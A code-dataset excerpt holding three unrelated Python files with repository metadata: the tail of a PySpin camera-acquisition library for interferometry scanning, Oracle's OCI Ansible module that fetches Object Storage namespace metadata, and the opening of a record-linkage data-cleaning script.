possible...')\r\n\r\n        else:\r\n            print('Offset Y not available...')\r\n            result = False\r\n        \r\n        ###### CONFIGURE EXPOSURE ######\r\n        if cam.ExposureAuto.GetAccessMode() != PySpin.RW:\r\n            print('Unable to edit automatic exposure. Aborting...')\r\n            return False\r\n        \r\n        if config_exposureauto == 'continuous':\r\n            cam.ExposureAuto.SetValue(PySpin.ExposureAuto_Continuous)\r\n        elif config_exposureauto == 'off':\r\n            cam.ExposureAuto.SetValue(PySpin.ExposureAuto_Off)\r\n            \r\n        print('Automatic exposure set to %s...' % cam.ExposureAuto.GetCurrentEntry().GetSymbolic())\r\n    \r\n        # If auto exposure is continuous: set exposure time manually; exposure time recorded in microseconds\r\n        if config_exposureauto == 'off':\r\n            if cam.ExposureTime.GetAccessMode() != PySpin.RW:\r\n                print('Unable to set exposure time. Aborting...')\r\n                return False\r\n    \r\n            # Ensure desired exposure time does not exceed the maximum\r\n            exposure_time_to_set = min(cam.ExposureTime.GetMax(), config_exposuretime)\r\n            cam.ExposureTime.SetValue(exposure_time_to_set)\r\n            print('Exposure time set to %f microseconds...' % exposure_time_to_set)\r\n        \r\n        ###### CONFIGURE GAIN ######\r\n        if cam.GainAuto.GetAccessMode() != PySpin.RW:\r\n            print('Unable to disable automatic gain. Aborting...')\r\n            return False\r\n            \r\n        cam.GainAuto.SetValue(PySpin.GainAuto_Off)\r\n        print('Automatic gain disabled...')\r\n        \r\n        if cam.Gain.GetAccessMode() != PySpin.RW:\r\n            print('Unable to set gain. Aborting...')\r\n            return False\r\n        \r\n        gain_value = config_gain\r\n        cam.Gain.SetValue(gain_value)\r\n        print('Gain value set to %f...' % gain_value)\r\n        \r\n        ###### CONFIGURE GAMMA ######\r\n        \r\n        if cam.GammaEnable.GetAccessMode() != PySpin.RW:\r\n            print('Unable to enable/disable gamma. Aborting...')\r\n            return False\r\n            \r\n        if config_gammaenable == False:\r\n            cam.GammaEnable.SetValue(False)\r\n            print('Gamma disabled...')\r\n            \r\n        else:\r\n            cam.GammaEnable.SetValue(True)\r\n            print('Gamma enabled...')\r\n            cam.Gamma.SetValue(config_gamma)\r\n            print('Gamma value set to %f...' % config_gamma)\r\n            \r\n        ###### CONFIGURE TRIGGER SOURCE ######\r\n            \r\n        # Ensure trigger mode off\r\n        # The trigger must be disabled in order to configure whether the source\r\n        # is software or hardware.\r\n        if cam.TriggerMode.GetAccessMode() != PySpin.RW:\r\n            print('Unable to disable trigger mode (node retrieval). Aborting...')\r\n            return False\r\n\r\n        cam.TriggerMode.SetValue(PySpin.TriggerMode_Off)\r\n        \r\n        # Select trigger source\r\n        # The trigger source must be set to hardware or software while trigger\r\n    \t  # mode is off.\r\n        if cam.TriggerSource.GetAccessMode() != PySpin.RW:\r\n            print('Unable to get trigger source (node retrieval). Aborting...')\r\n            return False\r\n        \r\n        if config_triggermode == 'on':\r\n            \r\n            if config_triggersource == 'software':\r\n                cam.TriggerSource.SetValue(PySpin.TriggerSource_Software)\r\n                print('Software trigger chosen...')\r\n            elif config_triggersource == 'hardware':\r\n                cam.TriggerSource.SetValue(PySpin.TriggerSource_Line0)\r\n                print('Hardware trigger chosen...')\r\n\r\n            # Turn trigger mode on\r\n            # Once the appropriate trigger source has been set, turn trigger mode\r\n            # on in order to retrieve images using the trigger.\r\n            cam.TriggerMode.SetValue(PySpin.TriggerMode_On)\r\n            print('Trigger mode turned on...')\r\n        \r\n    except PySpin.SpinnakerException as ex:\r\n        print('Error: %s' % ex)\r\n        return False\r\n    \r\n    return result  \r\n\r\n#def live_view():\r\n#    \r\n    \r\n\r\ndef acquire_images(cam, nodemap, nodemap_tldevice, q, stoplive_event):\r\n    \"\"\"\r\n    :param cam: Camera to acquire images from.\r\n    :param nodemap: Device nodemap.\r\n    :param nodemap_tldevice: Transport layer device nodemap.\r\n    :type cam: CameraPtr\r\n    :type nodemap: INodeMap\r\n    :type nodemap_tldevice: INodeMap\r\n    :return: True if successful, False otherwise.\r\n    :rtype: bool\r\n    \"\"\"\r\n\r\n    print('*** IMAGE ACQUISITION ***\\n')\r\n    try:\r\n        # Begin acquiring images\r\n        cam.BeginAcquisition()\r\n\r\n        print('Acquiring image...')\r\n\r\n#        disting_name = ''\r\n#        node_device_serial_number = PySpin.CStringPtr(nodemap_tldevice.GetNode('DeviceSerialNumber'))\r\n#        if PySpin.IsAvailable(node_device_serial_number) and PySpin.IsReadable(node_device_serial_number):\r\n#            disting_name = node_device_serial_number.GetValue()\r\n\r\n        if cam.AcquisitionMode.GetValue() == PySpin.AcquisitionMode_Continuous:\r\n        \r\n            # while loop until flag gets 1 from GUI func: 'stop_live'\r\n            while(stoplive_event.is_set() == False):\r\n\r\n                try:\r\n                    image_result = cam.GetNextImage()\r\n                    q.put(image_result.GetData(), block=True, timeout=0.2)\r\n                    image_result.Release()\r\n                    \r\n                except PySpin.SpinnakerException as ex1:\r\n                    print('Error: %s' % ex1)\r\n                    return False\r\n                \r\n                except Queue.Full as ex2:\r\n                    print('Error: %s' % ex2)\r\n                    return False\r\n        \r\n        # send signal for finishing\r\n        q.put('done')\r\n        \r\n        print('Image acquisition finished...')\r\n        cam.EndAcquisition()\r\n    \r\n    except PySpin.SpinnakerException as ex:\r\n        print('Error: %s' % ex)\r\n        return False\r\n\r\ndef run_camera(cam_num, config_with):\r\n    \"\"\"\r\n    cam_num: int | [0,1,...]\r\n    config_with: int | [0,1,2]\r\n    \"\"\"\r\n    \r\n    global config_sections\r\n    \r\n    # Retrieve singleton reference to system object\r\n    system = PySpin.System.GetInstance()\r\n\r\n    # Get current library version\r\n    version = system.GetLibraryVersion()\r\n    print('Library version: %d.%d.%d.%d' % (version.major, version.minor, version.type, version.build))\r\n\r\n    # Retrieve list of cameras from the system\r\n    cam_list = system.GetCameras()\r\n\r\n    num_cameras = cam_list.GetSize()\r\n\r\n    print('Number of cameras detected: %d' % num_cameras)\r\n    \r\n    # Finish if there are no cameras\r\n    if num_cameras == 0:\r\n\r\n        # Clear camera list before releasing system\r\n        cam_list.Clear()\r\n\r\n        # Release system instance\r\n        system.ReleaseInstance()\r\n\r\n        print('Not enough cameras!')\r\n    \r\n    cam = cam_list[cam_num]\r\n    \r\n    # Retrieve TL device nodemap and print device information\r\n    nodemap_tldevice = cam.GetTLDeviceNodeMap()\r\n\r\n    print_device_info(nodemap_tldevice)\r\n\r\n    # Initialize camera\r\n    cam.Init()\r\n\r\n    # Retrieve GenICam nodemap\r\n    nodemap = cam.GetNodeMap()\r\n    \r\n    # load all configurations\r\n    config_sections = cfg.load_config('ALL')\r\n    # select one configuration section out of all\r\n    configcam_with = config_sections[config_with]\r\n    if not configure_custom_image_settings(cam, configcam_with):\r\n        return False\r\n    \r\n    print('*** CAMERA CONNECTION ESTABLISHED ***\\n')\r\n    cam_nodes = [cam, nodemap, nodemap_tldevice, cam_list, system]\r\n    \r\n    return cam_nodes\r\n\r\ndef begin_acquisition(cam):\r\n    \r\n    try:\r\n        cam.BeginAcquisition()\r\n        return True\r\n        \r\n    except PySpin.SpinnakerException as ex:\r\n        print('Error: %s' % ex)\r\n        return False\r\n\r\ndef end_acquisition(cam_nodes):\r\n    cam = cam_nodes[0]\r\n    \r\n    # End camera acquisition\r\n    cam.EndAcquisition()\r\n    \r\n    del cam\r\n    release_camera(cam_nodes)\r\n    \r\ndef release_camera(cam_nodes):\r\n    cam = cam_nodes[0]\r\n    cam_list = cam_nodes[3]\r\n    system = cam_nodes[4]\r\n\r\n    # Reset exposure\r\n    reset_exposure(cam)\r\n    \r\n    # Reset trigger\r\n    reset_trigger(cam)\r\n    \r\n    # Deinitialize camera\r\n    cam.DeInit()\r\n    \r\n    # Release reference to camera\r\n    del cam\r\n\r\n    # Clear camera list before releasing system\r\n    cam_list.Clear()\r\n    del cam_nodes[:]\r\n\r\n    # Release system instance\r\n    system.ReleaseInstance()\r\n    \r\n    print('Camera release successful')\r\n     \r\ndef grab_next_image_by_trigger(cam):\r\n    \"\"\"\r\n    This function acquires an image by executing the trigger node.\r\n\r\n    :param cam: Camera to acquire images from.\r\n    :type cam: CameraPtr\r\n    :return: True if successful, False otherwise.\r\n    :rtype: bool\r\n    \"\"\"\r\n    global trigger_flag\r\n    \r\n    try:\r\n        result = True\r\n\r\n        if cam.TriggerSource.GetValue() == PySpin.TriggerSource_Software:\r\n\r\n            # Execute software trigger\r\n            if cam.TriggerSoftware.GetAccessMode() != PySpin.WO:\r\n                print('Unable to execute trigger. Aborting...')\r\n                return False\r\n            \r\n            try:\r\n                cam.TriggerSoftware.Execute()\r\n                trigger_flag = 1\r\n                image_result = cam.GetNextImage()\r\n                image_array = PIL2array(image_result)\r\n                image_result.Release()\r\n                \r\n                result = image_array\r\n            except PySpin.SpinnakerException as ex:\r\n                print('Error: %s' % ex)\r\n                result = False\r\n\r\n            # TODO: Blackfly and Flea3 GEV cameras need 2 second delay after software trigger\r\n\r\n        elif cam.TriggerSource.GetValue() == PySpin.TriggerSource_Line0:\r\n            print('Use the hardware to trigger image acquisition.')\r\n\r\n    except PySpin.SpinnakerException as ex:\r\n        print('Error: %s' % ex)\r\n        return False\r\n\r\n    return result\r\n\r\ndef save_profile(filename, profile):\r\n    misc.imsave(filename, profile)\r\n    \r\ndef save_image(disting_name):\r\n    \r\n    filename = '%s.tif' % disting_name\r\n\r\n    # Save in image format\r\n    misc.imsave(filename, image_array)\r\n    # Save image array in txt\r\n    #np.savetxt(('%s.txt' % disting_name), image_array, fmt = '%d')\r\n    print('Image saved as %s' % filename)\r\n    \r\n#def stoplive():\r\n#    global stoplive_flag\r\n#    \r\n#    stoplive_flag = 1\r\n            \r\n##########################################\r\n##                                       #\r\n##   FUNCTIONS USED SPECIFICALLY FOR GUI #\r\n##                                       #\r\n##########################################\r\n#    \r\n#def acquire_images_gui(cam, nodemap, nodemap_tldevice, gui_param):\r\n#    \"\"\"\r\n#    :param cam: Camera to acquire images from.\r\n#    :param nodemap: Device nodemap.\r\n#    :param nodemap_tldevice: Transport layer device nodemap.\r\n#    :type cam: CameraPtr\r\n#    :type nodemap: INodeMap\r\n#    :type nodemap_tldevice: INodeMap\r\n#    :return: True if successful, False otherwise.\r\n#    :rtype: bool\r\n#    \"\"\"\r\n#    \r\n#    global image_array\r\n#    global disting_name\r\n#    global stoplive_flag\r\n#\r\n#    print('*** IMAGE ACQUISITION ***\\n')\r\n#    try:\r\n#        result = True\r\n#        \r\n#        # Retrieve gui parameters needed for image displaying\r\n#        figplot = gui_param[0]\r\n#        fig = gui_param[1]\r\n#        canvas = gui_param[2]\r\n#        single_feed = gui_param[3]\r\n#        livefeed_img = gui_param[4]\r\n#        livefeed_midline = gui_param[5]\r\n#        \r\n#        # Begin acquiring images\r\n#        cam.BeginAcquisition()\r\n#        \r\n#        print('Acquiring image...')\r\n#\r\n#        disting_name = ''\r\n#        node_device_serial_number = PySpin.CStringPtr(nodemap_tldevice.GetNode('DeviceSerialNumber'))\r\n#        if PySpin.IsAvailable(node_device_serial_number) and PySpin.IsReadable(node_device_serial_number):\r\n#            disting_name = node_device_serial_number.GetValue()\r\n#            #print('Device serial number retrieved as %s...' % disting_name)\r\n#\r\n##        if cam.AcquisitionMode.GetValue() == PySpin.AcquisitionMode_SingleFrame:\r\n##            NUM_IMAGES = 1\r\n##        elif cam.AcquisitionMode.GetValue() == PySpin.AcquisitionMode_Continuous:\r\n##            NUM_IMAGES = 1000\r\n#            \r\n#        try:\r\n#            image_result = cam.GetNextImage()\r\n#            image_array = PIL2array(image_result)\r\n#            image_result.Release()\r\n#            \r\n#            ### SINGLE CAPTURE - IMAGE DISPLAY ###\r\n#            if single_feed:\r\n#                fig.imshow(image_array, aspect='auto', cmap='gray')\r\n#                canvas.draw()\r\n#                \r\n#            ### LIVE IMAGE DISPLAY ON GUI ###\r\n#            if livefeed_img:\r\n#                fimshow = fig.imshow(image_array, aspect='auto', cmap='gray')\r\n#                canvas.draw()\r\n#                \r\n#        except PySpin.SpinnakerException as ex:\r\n#                print('Error: %s' % ex)\r\n#                return False\r\n#        \r\n#        if cam.AcquisitionMode.GetValue() == PySpin.AcquisitionMode_Continuous:\r\n#        \r\n#            # Reset flag\r\n#            stoplive_flag = 0\r\n#            ctr = 0\r\n#            \r\n#            # while loop until flag gets 1 from GUI func: 'stop_live'\r\n#            while(stoplive_flag == 0):\r\n#                ctr += 1\r\n#                \r\n#                try:\r\n#                    image_result = cam.GetNextImage()\r\n#                    image_array = PIL2array(image_result)\r\n#                    image_result.Release()\r\n#                    \r\n#                    ### LIVE IMAGE DISPLAY ON GUI ###\r\n#                    if livefeed_img & (ctr % 20 == 0):\r\n#                        fimshow.set_data(image_array)\r\n#                        canvas.draw()\r\n#                        \r\n#                    ### MIDDLE LINE DISPLAY ON GUI ###\r\n#                    if livefeed_midline & (ctr % 20 == 0):\r\n#                        fig.clear()\r\n#                        midline = (np.shape(image_array))[0]//2\r\n#                        fig.plot(image_array[midline])\r\n#                        canvas.draw()\r\n#                        fig.clear()\r\n#                        \r\n#                    if ctr == 100:\r\n#                        ctr = 0\r\n#                    \r\n#                except PySpin.SpinnakerException as ex:\r\n#                    print('Error: %s' % ex)\r\n#                    return False\r\n#            \r\n#            # stoplive_flag value became '1', so reset it\r\n#            stoplive_flag = 0\r\n#            \r\n#        cam.EndAcquisition()\r\n#        print('Image(s) acquisition completed...')\r\n#    \r\n#    except PySpin.SpinnakerException as ex:\r\n#        print('Error: %s' % ex)\r\n#        return False\r\n#\r\n#    return result\r\n#\r\n#def run_single_camera_gui(cam, gui_param):\r\n#    \"\"\"\r\n#    :param cam: Camera to run on.\r\n#    :type cam: CameraPtr\r\n#    :return: True if successful, False otherwise.\r\n#    :rtype: bool\r\n#    \"\"\"\r\n#    try:\r\n#        result = True\r\n#\r\n#        # Retrieve TL device nodemap and print device information\r\n#        nodemap_tldevice = cam.GetTLDeviceNodeMap()\r\n#\r\n#        result &= print_device_info(nodemap_tldevice)\r\n#\r\n#        # Initialize camera\r\n#        cam.Init()\r\n#\r\n#        # Retrieve GenICam nodemap\r\n#        nodemap = cam.GetNodeMap()\r\n#        \r\n#        if not configure_custom_image_settings(cam):\r\n#            return False\r\n#        \r\n#        # Acquire images\r\n#        result &= acquire_images_gui(cam, nodemap, nodemap_tldevice, gui_param)\r\n#        \r\n#        # Reset exposure\r\n#        result &= reset_exposure(cam)\r\n#        \r\n#        # Reset trigger\r\n#        result &= reset_trigger(cam)\r\n#\r\n#        # Deinitialize camera\r\n#        cam.DeInit()\r\n#\r\n#    except PySpin.SpinnakerException as ex:\r\n#        print('Error: %s' % ex)\r\n#        result = False\r\n#\r\n#    return result\r\n#\r\n#def run_camera_gui(cam_num, gui_param):\r\n#    \r\n#    # Retrieve singleton reference to system object\r\n#    system = PySpin.System.GetInstance()\r\n#\r\n#    # Get current library version\r\n#    version = system.GetLibraryVersion()\r\n#    print('Library version: %d.%d.%d.%d' % (version.major, version.minor, version.type, version.build))\r\n#\r\n#    # Retrieve list of cameras from the system\r\n#    cam_list = system.GetCameras()\r\n#\r\n#    num_cameras = cam_list.GetSize()\r\n#\r\n#    print('Number of cameras detected: %d' % num_cameras)\r\n#    \r\n#    # Finish if there are no cameras\r\n#    if num_cameras == 0:\r\n#\r\n#        # Clear camera list before releasing system\r\n#        cam_list.Clear()\r\n#\r\n#        # Release system instance\r\n#        system.ReleaseInstance()\r\n#\r\n#        print('Not enough cameras!')\r\n#    \r\n#    cam = cam_list[cam_num]\r\n#    run_single_camera_gui(cam, gui_param)\r\n#    #mpl.pyplot.pcolormesh(image_array,cmap='gray')\r\n#    # Release reference to camera\r\n#    del cam\r\n#\r\n#    # Clear camera list before releasing system\r\n#    cam_list.Clear()\r\n#\r\n#    # Release system instance\r\n#    system.ReleaseInstance()\r\n#    \r\n#def updateFrame(fig_img, image_array):\r\n#    fig_img.set_data(image_array)\r\n#    #canvas.draw()\r\n#    \r\n#def save_image_gui(savedir, img_case):\r\n#    \"\"\"\r\n#    Wrapper function called from gui\r\n#    \"\"\"\r\n#    # img_case is the name that corresponds to one of the four different images\r\n#    # acquired from the interferometer\r\n#    if img_case:\r\n#        save_image(savedir + '\\\\' + img_case)\r\n#    # disting_name is a global variable assigned at image acquisition process\r\n#    else:\r\n#        save_image(savedir + '\\\\' + disting_name)\r\n#        \r\n#def stoplive():\r\n#    global stoplive_flag\r\n#    \r\n#    stoplive_flag = 1\r\n\r\n\r\n    \r\n    \r\n   \r\n                \r\n    \r\n    \r\n    \r\n", "repo_name": "Javassss/WLI_scanning", "sub_path": "mylibrary.py", "file_name": "mylibrary.py", "file_ext": "py", "file_size_in_byte": 27950, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 9, "dataset": "github-code", "pt": "78", "api": [{"api_name": "numpy.uint8", "line_number": 18, "usage_type": "attribute"}, {"api_name": "numpy.uint16", "line_number": 21, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 23, "usage_type": "call"}, {"api_name": "PySpin.CCategoryPtr", "line_number": 40, "usage_type": "call"}, {"api_name": "PySpin.IsAvailable", "line_number": 42, "usage_type": "call"}, {"api_name": "PySpin.IsReadable", "line_number": 42, "usage_type": "call"}, {"api_name": "PySpin.CValuePtr", "line_number": 45, "usage_type": "call"}, {"api_name": "PySpin.IsReadable", "line_number": 47, "usage_type": "call"}, {"api_name": "PySpin.SpinnakerException", "line_number": 52, "usage_type": "attribute"}, {"api_name": "PySpin.RW", "line_number": 70, "usage_type": "attribute"}, {"api_name": "PySpin.ExposureAuto_Continuous", "line_number": 74, "usage_type": "attribute"}, {"api_name": "PySpin.SpinnakerException", "line_number": 78, "usage_type": "attribute"}, {"api_name": "PySpin.RW", "line_number": 98, "usage_type": "attribute"}, {"api_name": "PySpin.TriggerMode_Off", "line_number": 102, "usage_type": "attribute"}, {"api_name": "PySpin.SpinnakerException", "line_number": 106, "usage_type": "attribute"}, {"api_name": "PySpin.RW", "line_number": 114, "usage_type": "attribute"}, {"api_name": "PySpin.RW", "line_number": 117, "usage_type": "attribute"}, {"api_name": "PySpin.RW", "line_number": 183, "usage_type": "attribute"}, {"api_name": "PySpin.AcquisitionMode_SingleFrame", "line_number": 186, "usage_type": "attribute"}, {"api_name": "PySpin.AcquisitionMode_Continuous", "line_number": 188, "usage_type": "attribute"}, {"api_name": "PySpin.AcquisitionMode_MultiFrame", "line_number": 190, "usage_type": "attribute"}, {"api_name": "PySpin.RW", "line_number": 196, "usage_type": "attribute"}, {"api_name": "PySpin.RW", "line_number": 205, "usage_type": "attribute"}, {"api_name": "PySpin.RW", "line_number": 208, "usage_type": "attribute"}, {"api_name": "PySpin.RW", "line_number": 220, "usage_type": "attribute"}, {"api_name": "PySpin.PixelFormat_Mono8", "line_number": 223, "usage_type": "attribute"}, {"api_name": "PySpin.PixelFormat_Mono16", "line_number": 225, "usage_type": "attribute"}, {"api_name": "PySpin.RW", "line_number": 237, "usage_type": "attribute"}, {"api_name": "PySpin.RW", "line_number": 246, "usage_type": "attribute"}, {"api_name": "PySpin.RW", "line_number": 255, "usage_type": "attribute"}, {"api_name": "PySpin.RW", "line_number": 269, "usage_type": "attribute"}, {"api_name": "PySpin.RW", "line_number": 283, "usage_type": "attribute"}, {"api_name": "PySpin.ExposureAuto_Continuous", "line_number": 288, "usage_type": "attribute"}, {"api_name": "PySpin.ExposureAuto_Off", "line_number": 290, "usage_type": "attribute"}, {"api_name": "PySpin.RW", "line_number": 296, "usage_type": "attribute"}, {"api_name": "PySpin.RW", "line_number": 306, "usage_type": "attribute"}, {"api_name": "PySpin.GainAuto_Off", "line_number": 310, "usage_type": "attribute"}, {"api_name": "PySpin.RW", "line_number": 313, "usage_type": "attribute"}, {"api_name": "PySpin.RW", "line_number": 323, "usage_type": "attribute"}, {"api_name": "PySpin.RW", "line_number": 342, "usage_type": "attribute"}, {"api_name": "PySpin.TriggerMode_Off", "line_number": 346, "usage_type": "attribute"}, {"api_name": "PySpin.RW", "line_number": 351, "usage_type": "attribute"}, {"api_name": "PySpin.TriggerSource_Software", "line_number": 358, "usage_type": "attribute"}, {"api_name": "PySpin.TriggerSource_Line0", "line_number": 361, "usage_type": "attribute"}, {"api_name": "PySpin.TriggerMode_On", "line_number": 367, "usage_type": "attribute"}, {"api_name": "PySpin.SpinnakerException", "line_number": 370, "usage_type": "attribute"}, {"api_name": "PySpin.AcquisitionMode_Continuous", "line_number": 404, "usage_type": "attribute"}, {"api_name": "PySpin.SpinnakerException", "line_number": 414, "usage_type": "attribute"}, {"api_name": "multiprocessing.Queue.Full", "line_number": 418, "usage_type": "attribute"}, {"api_name": "multiprocessing.Queue", "line_number": 418, "usage_type": "name"}, {"api_name": "PySpin.SpinnakerException", "line_number": 428, "usage_type": "attribute"}, {"api_name": "PySpin.System.GetInstance", "line_number": 441, "usage_type": "call"}, {"api_name": "PySpin.System", "line_number": 441, "usage_type": "attribute"}, {"api_name": "rw_config.load_config", "line_number": 479, "usage_type": "call"}, {"api_name": "PySpin.SpinnakerException", "line_number": 496, "usage_type": "attribute"}, {"api_name": "PySpin.TriggerSource_Software", "line_number": 549, "usage_type": "attribute"}, {"api_name": "PySpin.WO", "line_number": 552, "usage_type": "attribute"}, {"api_name": "PySpin.SpinnakerException", "line_number": 564, "usage_type": "attribute"}, {"api_name": "PySpin.TriggerSource_Line0", "line_number": 570, "usage_type": "attribute"}, {"api_name": "PySpin.SpinnakerException", "line_number": 573, "usage_type": "attribute"}, {"api_name": "scipy.misc.imsave", "line_number": 580, "usage_type": "call"}, {"api_name": "scipy.misc", "line_number": 580, "usage_type": "name"}, {"api_name": "scipy.misc.imsave", "line_number": 587, "usage_type": "call"}, {"api_name": "scipy.misc", "line_number": 587, "usage_type": "name"}]}
{"seq_id": "42517434509", "text": "from __future__ import absolute_import, division, print_function\n\n__metaclass__ = type\n\nANSIBLE_METADATA = {\n    \"metadata_version\": \"1.1\",\n    \"status\": [\"preview\"],\n    \"supported_by\": \"community\",\n}\n\nDOCUMENTATION = \"\"\"\n---\nmodule: oci_object_storage_namespace_metadata_facts\nshort_description: Fetches details about a NamespaceMetadata resource in Oracle Cloud Infrastructure\ndescription:\n    - Fetches details about a NamespaceMetadata resource in Oracle Cloud Infrastructure\n    - Gets the metadata for the Object Storage namespace, which contains defaultS3CompartmentId and\n      defaultSwiftCompartmentId.\n    - Any user with the OBJECTSTORAGE_NAMESPACE_READ permission will be able to see the current metadata. If you are\n      not authorized, talk to an administrator. If you are an administrator who needs to write policies\n      to give users access, see\n      L(Getting Started with Policies,https://docs.cloud.oracle.com/Content/Identity/Concepts/policygetstarted.htm).\nversion_added: \"2.9.0\"\nauthor: Oracle (@oracle)\noptions:\n    namespace_name:\n        description:\n            - The Object Storage namespace used for the request.\n        type: str\n        required: true\nextends_documentation_fragment: [ oracle.oci.oracle ]\n\"\"\"\n\nEXAMPLES = \"\"\"\n- name: Get a specific namespace_metadata\n  oci_object_storage_namespace_metadata_facts:\n    # required\n    namespace_name: namespace_name_example\n\n\"\"\"\n\nRETURN = \"\"\"\nnamespace_metadata:\n    description:\n        - NamespaceMetadata resource\n    returned: on success\n    type: complex\n    contains:\n        namespace:\n            description:\n                - The Object Storage namespace to which the metadata belongs.\n            returned: on success\n            type: str\n            sample: namespace_example\n        default_s3_compartment_id:\n            description:\n                - If the field is set, specifies the default compartment assignment for the Amazon S3 Compatibility API.\n            returned: on success\n            type: str\n            sample: \"ocid1.defaults3compartment.oc1..xxxxxxEXAMPLExxxxxx\"\n        default_swift_compartment_id:\n            description:\n                - If the field is set, specifies the default compartment assignment for the Swift API.\n            returned: on success\n            type: str\n            sample: \"ocid1.defaultswiftcompartment.oc1..xxxxxxEXAMPLExxxxxx\"\n    sample: {\n        \"namespace\": \"namespace_example\",\n        \"default_s3_compartment_id\": \"ocid1.defaults3compartment.oc1..xxxxxxEXAMPLExxxxxx\",\n        \"default_swift_compartment_id\": \"ocid1.defaultswiftcompartment.oc1..xxxxxxEXAMPLExxxxxx\"\n    }\n\"\"\"\n\nfrom ansible_collections.oracle.oci.plugins.module_utils import oci_common_utils\nfrom ansible_collections.oracle.oci.plugins.module_utils.oci_resource_utils import (\n    OCIResourceFactsHelperBase,\n    get_custom_class,\n    OCIAnsibleModule,\n)\n\ntry:\n    from oci.object_storage import ObjectStorageClient\n\n    HAS_OCI_PY_SDK = True\nexcept ImportError:\n    HAS_OCI_PY_SDK = False\n\n\nclass NamespaceMetadataFactsHelperGen(OCIResourceFactsHelperBase):\n    \"\"\"Supported operations: get\"\"\"\n\n    def get_required_params_for_get(self):\n        return [\n            \"namespace_name\",\n        ]\n\n    def get_resource(self):\n        return oci_common_utils.call_with_backoff(\n            self.client.get_namespace_metadata,\n            namespace_name=self.module.params.get(\"namespace_name\"),\n        )\n\n\nNamespaceMetadataFactsHelperCustom = get_custom_class(\n    \"NamespaceMetadataFactsHelperCustom\"\n)\n\n\nclass ResourceFactsHelper(\n    NamespaceMetadataFactsHelperCustom, NamespaceMetadataFactsHelperGen\n):\n    pass\n\n\ndef main():\n    module_args = oci_common_utils.get_common_arg_spec()\n    module_args.update(dict(namespace_name=dict(type=\"str\", required=True),))\n\n    module = OCIAnsibleModule(argument_spec=module_args)\n\n    if not HAS_OCI_PY_SDK:\n        module.fail_json(msg=\"oci python sdk required for this module.\")\n\n    resource_facts_helper = ResourceFactsHelper(\n        module=module,\n        resource_type=\"namespace_metadata\",\n        service_client_class=ObjectStorageClient,\n        namespace=\"object_storage\",\n    )\n\n    result = []\n\n    if resource_facts_helper.is_get():\n        result = resource_facts_helper.get()\n    else:\n        resource_facts_helper.fail()\n\n    module.exit_json(namespace_metadata=result)\n\n\nif __name__ == \"__main__\":\n    main()\n", "repo_name": "oracle/oci-ansible-collection", "sub_path": "plugins/modules/oci_object_storage_namespace_metadata_facts.py", "file_name": "oci_object_storage_namespace_metadata_facts.py", "file_ext": "py", "file_size_in_byte": 4398, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 151, "dataset": "github-code", "pt": "78", "api": [{"api_name": "ansible_collections.oracle.oci.plugins.module_utils.oci_resource_utils.OCIResourceFactsHelperBase", "line_number": 89, "usage_type": "name"}, {"api_name": "ansible_collections.oracle.oci.plugins.module_utils.oci_common_utils.call_with_backoff", "line_number": 98, "usage_type": "call"}, {"api_name": "ansible_collections.oracle.oci.plugins.module_utils.oci_common_utils", "line_number": 98, "usage_type": "name"}, {"api_name": "ansible_collections.oracle.oci.plugins.module_utils.oci_resource_utils.get_custom_class", "line_number": 104, "usage_type": "call"}, {"api_name": "ansible_collections.oracle.oci.plugins.module_utils.oci_common_utils.get_common_arg_spec", "line_number": 116, "usage_type": "call"}, {"api_name": "ansible_collections.oracle.oci.plugins.module_utils.oci_common_utils", "line_number": 116, "usage_type": "name"}, {"api_name": "ansible_collections.oracle.oci.plugins.module_utils.oci_resource_utils.OCIAnsibleModule", "line_number": 119, "usage_type": "call"}, {"api_name": "oci.object_storage.ObjectStorageClient", "line_number": 127, "usage_type": "name"}]}
{"seq_id": "22610848160", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\n\r\n## IMPORTANT: FOLDER STRUCTURE ##\r\nBelow mentioned folder structure must be followed for getting the results from this script:\r\n01. Script must be placed into a folder known as main folder\r\n02. Source files (3 lists) must be placed into the Source folder under main folder\r\n03. a folder named as IntermediateFiles must be created under main folder with below mentioned sub-folders\r\n    A. Source\r\n    B. Preprocessed\r\n    C. IntermediateFiles\r\n        i.  DDM\r\n        ii. PDM\r\n\r\n## IMPORTANT: EXECUTION ORDER ##\r\nBelow scripts must be exected in the mentioned order:\r\n01. 01_RecordLinkageDDM.py\r\n02. 02_RecordLinkagePDM.py\r\n03. 03_RecordLinkageDDMScore.py\r\n04. 04_RecordLinkagePDMScore.py\r\n\r\nThis script performs determistics data matching between customer list and negative/positive list. It performs below mentioned steps:\r\n01. Reads data from the source files - 00_List_Customer_Monitoring.csv, 01a_List_Negative.csv and 01b_List_Positive.csv, placed under Source folder\r\n02. Performs data preprocessing and cleaning on the loaded data\r\n03. Generates the files under Preprocessed folder present under IntermediateFiles folder\r\n03. Matches data using different determistics record linkage rules\r\n04. Generates files under DDM folder present under IntermediateFiles folder\r\n\r\n\"\"\"\r\n\r\n# Load required packages\r\nimport os\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom datetime import datetime\r\nimport unicodedata\r\n\r\n\r\ndef extractSource(dir, files):\r\n    '''\r\n    Function to extract Data from files in a specific format\r\n    '''\r\n    t = {\"FIRST_NAME\": object, \"LAST_NAME\": object, \"DOB\": object, \"STREET\": object, \"HNR\": object, \"HNRADD\": object, \"ZIP\": object, \"CITY\": object}\r\n    filename = dir + files\r\n    df = pd.read_csv(filename, index_col=\"ID\", na_values=\"0000-00-00\", parse_dates=[3], dtype=t)\r\n    return df\r\n\r\n\r\ndef caseConvertion(df):\r\n    '''\r\n    Function to convert string values present into columns to lowercase letters\r\n    '''\r\n    df = df.applymap(lambda s:s.lower() if type(s) == str else s)\r\n    return df\r\n\r\n\r\ndef stripList(df):\r\n    '''\r\n    Function to trim the string values present into columns\r\n    '''\r\n    df = df.applymap(lambda s:s.strip() if type(s) == str else s)\r\n    return df\r\n\r\n\r\ndef removeSpecialChar(s):\r\n    '''\r\n    Function to replace special symbols present with a space\r\n    '''\r\n    spec_chars = [\"!\", '\"', \"#\", \"%\", \"&\", \"'\", \"(\", \")\", \"*\", \"+\", \",\", \"-\", \".\", \"/\", \":\", \";\", \"<\", \"=\", \">\", \"?\", \"@\", \"[\", \"\\\\\", \"]\", \"^\", \"_\", \"`\", \"{\", \"|\", \"}\", \"~\", \"–\"]\r\n    for char in spec_chars:\r\n        s = s.replace(char, \" \")\r\n        s = \" \".join(s.split())\r\n    return s\r\n\r\n\r\ndef 